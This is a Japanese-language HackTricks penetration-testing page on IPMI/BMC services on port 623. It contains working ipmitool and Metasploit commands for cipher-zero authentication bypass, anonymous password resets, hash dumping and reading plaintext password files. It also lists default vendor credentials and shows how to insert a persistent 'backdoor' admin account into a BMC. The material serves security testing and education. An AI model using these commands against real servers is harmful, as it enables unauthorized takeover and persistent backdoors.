121 lines
9.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
## 基本情報
### **IPMIの概要**
**[インテリジェントプラットフォーム管理インターフェース (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者はシステムがオフまたは応答しない場合でもリモートで管理でき、特に以下の用途に便利です:
- OSブート前の設定
- 電源オフ管理
- システム障害からの回復
IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で、在庫情報の提供、ハードウェアログのレビュー、SNMPを介したアラートの送信も行います。その運用に必要なのは、電源とLAN接続です。
1998年にインテルによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートによりリモート管理機能が強化されました。主要なコンポーネントには以下が含まれます
- **ベースボード管理コントローラー (BMC):** IPMI操作のための主要なマイクロコントローラー。
- **通信バスとインターフェース:** 内部および外部通信のためのICMB、IPMB、さまざまなローカルおよびネットワーク接続用インターフェース。
- **IPMIメモリ:** ログとデータを保存するためのもの。
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**デフォルトポート**: 623/UDP/TCP通常はUDPですが、TCPで動作している場合もあります
## 列挙
### 発見
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
バージョンを特定するには、次のようにします:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMIの脆弱性
IPMI 2.0の領域では、Dan Farmerによって重要なセキュリティ欠陥が発見され、**cipher type 0**を通じて脆弱性が露呈しました。この脆弱性は、[Dan Farmerの研究](http://fish2.com/ipmi/cipherzero.html)に詳細に文書化されており、有効なユーザーがターゲットにされる限り、任意のパスワードで不正アクセスを可能にします。この弱点は、HP、Dell、SupermicroなどのさまざまなBMCから見つかり、すべてのIPMI 2.0実装における広範な問題を示唆しています。
### **Cipher 0によるIPMI認証バイパス**
この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
この脆弱性の悪用は、以下に示すように `ipmitool` を使用して実現可能であり、ユーザーパスワードのリスト表示と変更が可能です:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP 認証リモートパスワードハッシュ取得**
この脆弱性により、既存のユーザー名に対して塩を加えたハッシュ化されたパスワードMD5およびSHA1を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供しています
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI 匿名認証**
多くの BMC のデフォルト設定では、ユーザー名とパスワードが空の「匿名」アクセスが許可されています。この設定は、`ipmitool` を使用して名前付きユーザーアカウントのパスワードをリセットするために悪用される可能性があります。
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 平文パスワード**
IPMI 2.0の重要な設計選択は、認証目的でBMC内に平文パスワードを保存する必要があります。Supermicroがこれらのパスワードを`/nv/PSBlock``/nv/PSStore`などの場所に保存することは、重大なセキュリティ上の懸念を引き起こします:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnPの脆弱性**
SupermicroのIPMIファームウェアにおけるUPnP SSDPリスナーの組み込み、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。 [Rapid7の開示](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) に詳述されているように、UPnPデバイス用のIntel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### ブルートフォース
**HPは製造時に**その**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、**静的デフォルト資格情報**を使用する他のメーカーとは対照的です。さまざまな製品のデフォルトユーザー名とパスワードの概要は以下の通りです:
- **HP Integrated Lights Out (iLO)**は、**工場でランダム化された8文字の文字列**をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。
- **DellのiDRAC、IBMのIMM**、および**FujitsuのIntegrated Remote Management Controller**のような製品は、それぞれ「calvin」、「PASSW0RD」ゼロを含む、および「admin」のような簡単に推測可能なパスワードを使用しています。
- 同様に、**Supermicro IPMI (2.0)、Oracle/Sun ILOM**、および**ASUS iKVM BMC**も「ADMIN」、「changeme」、および「admin」をパスワードとして使用するシンプルなデフォルト資格情報を持っています。
## BMCを介してホストにアクセスする
Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウスKVM機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する`init=/bin/sh`を使用か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作でき、バックドアの挿入、データの抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLANsol機能を介して`ipmitool`を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。
## ホストからBMCにバックドアを導入する
BMCを装備したホストが侵害された場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます**。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む幅広いオペレーティングシステムに適用可能です。
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
- `port:623`
## References
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{{#include ../banners/hacktricks-training.md}}